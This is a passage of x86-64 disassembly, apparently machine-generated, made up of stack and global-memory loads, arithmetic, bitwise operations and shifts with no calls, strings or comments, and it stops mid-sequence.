mov rax, qword [0x14017a1b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5098]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf4], al
lea rax, [rsp + 0xf7]
mov qword [rsp + 0x66b8], rax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x940]
and eax, ecx
mov word [rsp + 0xb00], ax
mov rax, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x6300]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2c88], eax
lea rax, [rsp + 0x2af4]
mov qword [rsp + 0x66c0], rax
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x64d8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5f38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov qword [rsp + 0x66c8], rax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x5fa0]
movzx eax, byte [rax]
mov byte [0x14017a0e7], al
lea rax, [rsp + 0x6f]
mov qword [rsp + 0x66d0], rax
mov rax, qword [rsp + 0x6068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5928]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x94], al
movzx eax, word [rsp + 0xb50]
movzx ecx, word [rsp + 0x9ec]
sub eax, ecx
mov rcx, qword [rsp + 0x5640]
mov word [rcx], ax
lea rax, [rsp + 0x5628]
mov qword [rsp + 0x66d8], rax
mov rax, qword [rsp + 0x65d8]
mov rcx, qword [rsp + 0x6088]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5da8], rax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov dword [rsp + 0x2cec], eax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2aa4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5270]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x82]
movzx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x61a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9c8]
add eax, ecx
mov word [0x140178f28], ax
mov rax, qword [rsp + 0x5d30]
movzx eax, byte [rax]
mov byte [rsp + 0x11a], al
movsx eax, word [rsp + 0xadc]
mov rcx, qword [rsp + 0x5208]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xabc], ax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x6300]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cec], eax
mov eax, dword [rsp + 0x2a78]
mov ecx, dword [rsp + 0x2c28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5970]
mov qword [rsp + 0x66e0], rax
mov rax, qword [rsp + 0x5850]
mov rcx, qword [rsp + 0x5548]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5e58], rax
lea rax, [rsp + 0xe2]
mov qword [rsp + 0x66e8], rax
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa64]
sub eax, ecx
mov rcx, qword [0x14017a2e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6220]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x63c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x5db8]
movzx eax, word [rax]
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
or eax, ecx
mov rcx, qword [rsp + 0x62e8]
mov word [rcx], ax
lea rax, [rsp + 0x50f0]
mov qword [rsp + 0x66f0], rax
mov eax, dword [rsp + 0x2b08]
movzx ecx, al
mov eax, dword [rsp + 0x2bdc]
shr eax, cl
mov dword [rsp + 0x2a38], eax
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov dword [rsp + 0x2cf0], eax
mov rax, qword [rsp + 0x5b88]
movzx ecx, al
mov rax, qword [rsp + 0x5450]
shl rax, cl
mov qword [rsp + 0x6548], rax
lea rax, [rsp + 0x72]
mov qword [0x14017a3c8], rax
mov rax, qword [0x14017a2b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8ac]
and eax, ecx
mov rcx, qword [rsp + 0x50e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x63a8]
movzx eax, byte [rax]
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x5968]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa00]
add eax, ecx
mov word [rsp + 0xb6c], ax
lea rax, [0x140178e8a]
mov qword [rsp + 0x66f8], rax
mov rax, qword [rsp + 0x5b38]
mov rcx, qword [rsp + 0x4fa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d60], rax
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rsp + 0x5848]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2cf0]
mov dword [rsp + 0x2cf4], eax
mov rax, qword [rsp + 0x57a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b30], eax
movzx eax, word [rsp + 0x994]
mov rcx, qword [rsp + 0x60b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a150]
mov word [rcx], ax
lea rax, [0x140178e94]
mov qword [rsp + 0x6700], rax
movzx eax, byte [rsp + 0xcc]
movzx ecx, byte [rsp + 0x103]
sub eax, ecx
mov byte [rsp + 0x118], al
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x107]
add eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x5fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x5db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a34]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x63a0]
mov dword [rcx], eax
lea rax, [rsp + 0x5e40]
mov qword [rsp + 0x6708], rax
mov rax, qword [rsp + 0x56b0]
mov rcx, qword [rsp + 0x5f08]
mov qword [rsp + 0x6710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6710]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6440], rax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x52e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2c48], eax
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f38]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140178ebf], al
lea rax, [rsp + 0x9a8]
mov qword [rsp + 0x6718], rax
movzx eax, word [rsp + 0xb5c]
movzx ecx, word [rsp + 0xb50]
or eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
lea rax, [rsp + 0x9c8]
mov qword [rsp + 0x6720], rax
movsx eax, byte [0x14017a0e5]
mov rcx, qword [rsp + 0x63a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71], al
lea rax, [rsp + 0x2ad4]
mov qword [rsp + 0x6728], rax
mov rax, qword [rsp + 0x6000]
mov rcx, qword [str.kD3]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x59f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b04]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6498]
mov qword [rsp + 0x6730], rax
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [0x14017a268]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e93], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5478]
mov word [rcx], ax
movzx eax, word [rsp + 0xa30]
mov word [rsp + 0xb74], ax
movsx eax, byte [rsp + 0x94]
mov rcx, qword [rsp + 0x6068]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xed], al
movzx eax, word [rsp + 0xa64]
mov rcx, qword [rsp + 0x61a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x97c], ax
mov rax, qword [rsp + 0x4f00]
mov qword [rsp + 0x6738], rax
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x5768]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x53b0], rax
mov rax, qword [rsp + 0x5308]
mov eax, dword [rax]
mov dword [rsp + 0x2cf8], eax
mov eax, dword [rsp + 0x2a48]
mov ecx, dword [rsp + 0x2a04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c0c], eax
movzx eax, byte [0x140178e8a]
mov byte [0x14017a0fa], al
mov rax, qword [rsp + 0x59b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa1c]
add eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x6090]
movzx eax, byte [rax]
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x66d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
xor eax, ecx
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov word [rsp + 0xb78], ax
mov eax, dword [rsp + 0x2bb4]
mov rcx, qword [rsp + 0x6368]
mov qword [rsp + 0x6740], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6740]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ae4], eax
mov rax, qword [rsp + 0x5530]
mov eax, dword [rax]
mov dword [rsp + 0x2cfc], eax
mov rax, qword [rsp + 0x5c48]
mov rcx, qword [rsp + 0x4f90]
mov qword [rsp + 0x6748], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6748]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53f8]
mov rcx, qword [rsp + 0x59b8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c40]
mov qword [rcx], rax
movsx eax, word [rsp + 0x874]
movsx ecx, word [rsp + 0x944]
and eax, ecx
mov rcx, qword [0x14017a1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov word [rsp + 0xb7c], ax
mov rax, qword [rsp + 0x50e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5760]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd2]
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x5d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5430]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd0], al
mov eax, dword [rsp + 0x2bd8]
mov ecx, dword [rsp + 0x2c08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cf0], eax
mov rax, qword [rsp + 0x5af8]
mov rax, qword [rax]
mov qword [rsp + 0x6750], rax
mov rax, qword [rsp + 0x6380]
mov rcx, qword [rsp + 0x5eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ba4], eax
mov rax, qword [rsp + 0x60b8]
mov rax, qword [rax]
mov qword [rsp + 0x6758], rax
mov rax, qword [rsp + 0x5700]
movzx eax, word [rax]
mov rcx, qword [0x14017a358]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f1c], ax
mov rax, qword [rsp + 0x55e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10e]
and eax, ecx
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x5418]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov byte [rsp + 0x120], al
movsx eax, word [rsp + 0x8d4]
mov rcx, qword [rsp + 0x55c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x6760], rax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x5238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ac4], eax
mov rax, qword [rsp + 0x5ee8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5588]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6730], rax
lea rax, [rsp + 0x2a70]
mov qword [rsp + 0x6768], rax
mov rax, qword [rsp + 0x5ec0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb50], ax
movzx eax, byte [rsp + 0xd4]
mov rcx, qword [rsp + 0x60c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140178ec2], al
mov rax, qword [rsp + 0x5300]
movzx eax, word [rax]
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x9f]
movsx ecx, byte [rsp + 0xaf]
shl eax, cl
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov word [rsp + 0xb84], ax
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2c10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae8], eax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ea8]
mov qword [rsp + 0x6770], rax
mov rax, qword [rsp + 0x6538]
mov rcx, qword [rsp + 0x5c90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6458], rax
lea rax, [rsp + 0xa00]
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x5318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178eaf], al
movzx eax, byte [rsp + 0x99]
movzx ecx, byte [0x140178e73]
add eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x5880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6420]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x978], ax
mov rax, qword [rsp + 0x5070]
movzx eax, byte [rax]
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0x5470]
mov rcx, qword [rsp + 0x5330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x5d38]
mov qword [rsp + 0x6780], rax
mov rax, qword [rsp + 0x5758]
mov ecx, dword [rsp + 0x2b98]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cc0], eax
mov rax, qword [rsp + 0x5808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6580]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d68], rax
mov rax, qword [rsp + 0x6218]
movzx eax, word [rax]
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x5248]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6610]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140178ec3], al
mov rax, qword [rsp + 0x51f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
sar eax, cl
mov rcx, qword [rsp + 0x5688]
mov byte [rcx], al
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x6788], rax
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [rsp + 0xf2]
shl eax, cl
mov byte [rsp + 0xe5], al
lea rax, [rsp + 0x2a78]
mov qword [rsp + 0x6790], rax
mov rax, qword [rsp + 0x56f8]
mov ecx, dword [rsp + 0x2aac]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f98], rax
mov rax, qword [rsp + 0x6448]
mov rax, qword [rax]
mov qword [rsp + 0x6798], rax
movzx eax, byte [rsp + 0x100]
movzx ecx, byte [rsp + 0x108]
and eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x5e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x890]
add eax, ecx
mov word [0x140178ea8], ax
mov rax, qword [0x14017a2a8]
movzx eax, word [rax]
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x6090]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x58e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5390]
mov byte [rcx], al
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x90c], ax
lea rax, [rsp + 0xa74]
mov qword [rsp + 0x67a0], rax
mov rax, qword [rsp + 0x5b38]
mov rcx, qword [rsp + 0x56c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5410]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bcc]
mov dword [rsp + 0x2d00], eax
mov rax, qword [rsp + 0x5c60]
mov rcx, qword [rsp + 0x51d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6228]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a98]
mov ecx, dword [rsp + 0x2bac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c40], eax
movzx eax, byte [rsp + 0x8f]
mov byte [0x14017a0fb], al
lea rax, [0x14017a228]
mov qword [rsp + 0x67a8], rax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x64a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9e], al
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x67b0], rax
movzx eax, word [rsp + 0xb10]
movzx ecx, word [rsp + 0x93c]
and eax, ecx
mov rcx, qword [rsp + 0x6720]
mov word [rcx], ax
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4d68]
shl rax, cl
mov rcx, qword [rsp + 0x5a70]
mov qword [rcx], rax
lea rax, [rsp + 0x2a7c]
mov qword [rsp + 0x67b8], rax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a60]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ca0], eax
lea rax, [rsp + 0x59d8]
mov qword [rsp + 0x67c0], rax
movsx eax, word [rsp + 0x874]
movsx ecx, word [rsp + 0x968]
sar eax, cl
mov word [0x140178f20], ax
movzx eax, word [rsp + 0xa80]
movzx ecx, word [rsp + 0xb58]
xor eax, ecx
mov word [rsp + 0x930], ax
lea rax, [rsp + 0x96]
mov qword [rsp + 0x67c8], rax
mov rax, qword [rsp + 0x5440]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5928]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xae4]
sub eax, ecx
mov word [rsp + 0x8dc], ax
mov rax, qword [rsp + 0x57d8]
mov rax, qword [rax]
mov qword [rsp + 0x67d0], rax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x2b00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b44], eax
mov eax, dword [rsp + 0x2ce0]
mov dword [rsp + 0x2d04], eax
mov rax, qword [rsp + 0x6338]
mov rcx, qword [rsp + 0x5778]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x116]
mov qword [0x14017a3d0], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc3]
add eax, ecx
mov rcx, qword [rsp + 0x6490]
mov byte [rcx], al
lea rax, [rsp + 0x99c]
mov qword [rsp + 0x67d8], rax
movzx eax, word [rsp + 0xa90]
mov rcx, qword [rsp + 0x66a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e00]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, byte [rax]
mov byte [rsp + 0x122], al
mov rax, qword [rsp + 0x54e8]
mov rcx, qword [rsp + 0x5a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x57f8]
mov rcx, qword [rsp + 0x4f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5198], rax
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x2d08], eax
mov rax, qword [rsp + 0x5eb0]
mov rcx, qword [rsp + 0x5170]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5eb0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xac8]
movzx ecx, word [rsp + 0xb10]
sub eax, ecx
mov word [0x140178f18], ax
lea rax, [0x140178e8b]
mov qword [rsp + 0x67e0], rax
mov rax, qword [rsp + 0x62f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x5670]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa24], ax
movzx eax, byte [0x14017a0cf]
mov byte [rsp + 0x123], al
mov rax, qword [rsp + 0x60d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6510]
mov qword [rsp + 0x67e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x67e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2c50], eax
mov eax, dword [rsp + 0x2bd4]
mov dword [rsp + 0x2d0c], eax
mov rax, qword [rsp + 0x62d0]
mov rcx, qword [rsp + 0x5f68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5b08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ce0]
mov qword [rsp + 0x67f0], rax
movzx eax, word [rsp + 0xa08]
movzx ecx, word [rsp + 0x8cc]
or eax, ecx
mov word [str._v_], ax
mov rax, qword [rsp + 0x5608]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6688]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb4], al
movsx eax, word [rsp + 0xa24]
movsx ecx, word [rsp + 0xa58]
sub eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x59c8]
movzx eax, word [rax]
mov word [rsp + 0xb90], ax
mov rax, qword [0x14017a2a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e18]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x65c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x63e0]
mov qword [rsp + 0x67f8], rax
mov rax, qword [rsp + 0x64b8]
mov rcx, qword [rsp + 0x5310]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cac], eax
mov rax, qword [rsp + 0x6468]
mov rcx, qword [rsp + 0x5588]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x53f8], rax
lea rax, [rsp + 0x29c4]
mov qword [rsp + 0x6800], rax
lea rax, [rsp + 0xba]
mov qword [0x14017a3d8], rax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
mov rcx, qword [0x14017a170]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5a00]
mov byte [rcx], al
movzx eax, word [rsp + 0x884]
mov word [rsp + 0xb94], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x71]
add eax, ecx
mov byte [rsp + 0x121], al
movsx eax, byte [rsp + 0x121]
movsx ecx, byte [rsp + 0xef]
sub eax, ecx
mov rcx, qword [rsp + 0x5830]
mov byte [rcx], al
lea rax, [rsp + 0x6358]
mov qword [rsp + 0x6808], rax
mov rax, qword [rsp + 0x61b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6630]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5990], rax
lea rax, [rsp + 0x2ce8]
mov qword [rsp + 0x6810], rax
mov eax, dword [rsp + 0x2b80]
mov ecx, dword [rsp + 0x2d08]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c08], eax
movsx eax, word [rsp + 0x9c4]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a1d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x112]
mov byte [rsp + 0x124], al
movzx eax, byte [rsp + 0xf4]
movzx ecx, byte [rsp + 0x7a]
shl eax, cl
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0x58d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb28], ax
lea rax, [rsp + 0x948]
mov qword [rsp + 0x6818], rax
mov rax, qword [rsp + 0x54c0]
mov rcx, qword [rsp + 0x6000]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5e08], rax
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x6820], rax
mov rax, qword [rsp + 0x5ce8]
mov rcx, qword [0x140178e78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x55f0], rax
mov rax, qword [rsp + 0x5758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x65e0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x6828], rax
mov rax, qword [rsp + 0x5ae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6208]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a3c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
add eax, ecx
mov byte [rsp + 0xfc], al
lea rax, [rsp + 0xa4c]
mov qword [rsp + 0x6830], rax
movzx eax, byte [rsp + 0x9c]
movzx ecx, byte [rsp + 0x7d]
and eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rsp + 0x6330]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5fe8], rax
mov rax, qword [rsp + 0x51e8]
mov qword [rsp + 0x6838], rax
mov rax, qword [rsp + 0x50e8]
mov eax, dword [rax]
mov ecx, dword [0x14017a064]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6480]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c54]
mov dword [rsp + 0x2d10], eax
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x868]
add eax, ecx
mov word [rsp + 0x90c], ax
lea rax, [0x140178eaa]
mov qword [0x14017a3e0], rax
mov rax, qword [rsp + 0x6218]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x904]
sub eax, ecx
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov byte [rsp + 0x125], al
movzx eax, word [0x140178eac]
mov rcx, qword [rsp + 0x5e28]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8e0], ax
mov rax, qword [rsp + 0x4aa0]
mov qword [rsp + 0x6840], rax
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56a8]
mov qword [rsp + 0x6848], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6848]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5198], rax
mov eax, dword [rsp + 0x2b6c]
mov dword [rsp + 0x2d14], eax
mov rax, qword [rsp + 0x5998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cb4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b94], eax
movsx eax, byte [rsp + 0x112]
movsx ecx, byte [rsp + 0x9d]
shl eax, cl
mov byte [rsp + 0x9f], al
mov rax, qword [0x14017a068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa58]
